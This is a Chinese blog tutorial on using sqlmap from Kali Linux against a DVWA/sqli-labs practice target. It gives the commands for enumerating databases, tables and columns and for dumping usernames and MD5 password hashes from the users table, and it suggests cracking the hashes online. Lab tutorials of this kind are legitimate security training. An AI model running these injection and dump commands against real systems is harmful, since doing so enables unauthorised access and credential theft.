sqlmap爆破dvwa数据库

最新推荐文章于 2024-07-24 01:05:02 发布

生于尘埃

最新推荐文章于 2024-07-24 01:05:02 发布

阅读量1.2k

点赞数

分类专栏：渗透测试文章标签：安全渗透测试

本文链接：https://blog.csdn.net/jiahuiquan/article/details/114544178

版权

9 篇文章 0 订阅

订阅专栏

本文介绍了如何在Kali Linux中使用sqlmap工具对靶机DVWA进行SQL注入攻击，包括获取靶机IP、爆破数据库列表、表名、列名并最终脱库获取用户信息。强调了技术的合法使用和网络安全法的重要性。

摘要由CSDN通过智能技术生成

基础环境：

技术虽好，切勿滥用，遵守网络安全法！！！
技术虽好，切勿滥用，遵守网络安全法！！！
技术虽好，切勿滥用，遵守网络安全法！！！
技术虽好，切勿滥用，遵守网络安全法！！！
技术虽好，切勿滥用，遵守网络安全法！！！

获取目标 靶机IP
获取目标靶机的IP和端口以后，打开kali ，准备用sqlmap进行爆破
sqlmap -u “192.168.1.215/sqllabs/Less-1/?id=1” --dbs
- -u 设置目标主机以及路径
- –dbs 爆破数据库
  
  此处可以看到爆破出的 数据库 列表
sqlmap -u “192.168.1.215/sqllabs/Less-1/?id=1” -D dvwa --tables
- -D 根据上面的爆破结果指定数据库
- –tables 爆破dvwa数据库的所有表
  
  此处可以看到所有dvwa的表
sqlmap -u “192.168.1.215/sqllabs/Less-1/?id=1” -D dvwa -T users --columns
- -T 指定表名
- –columns 爆破所有的列
  
  得到 dvwa 数据库 users 表中的所有列
sqlmap -u “192.168.1.215/sqllabs/Less-1/?id=1” -D dvwa -T users -C user,password --dump
- -C 指定列名（可指定多个，用英文逗号隔开）
- –dump 脱库（得到列中的字段内容）
爆破完成，得到用户名以及对应的MD5加密的密码，将密文复制到对应网站解密即可。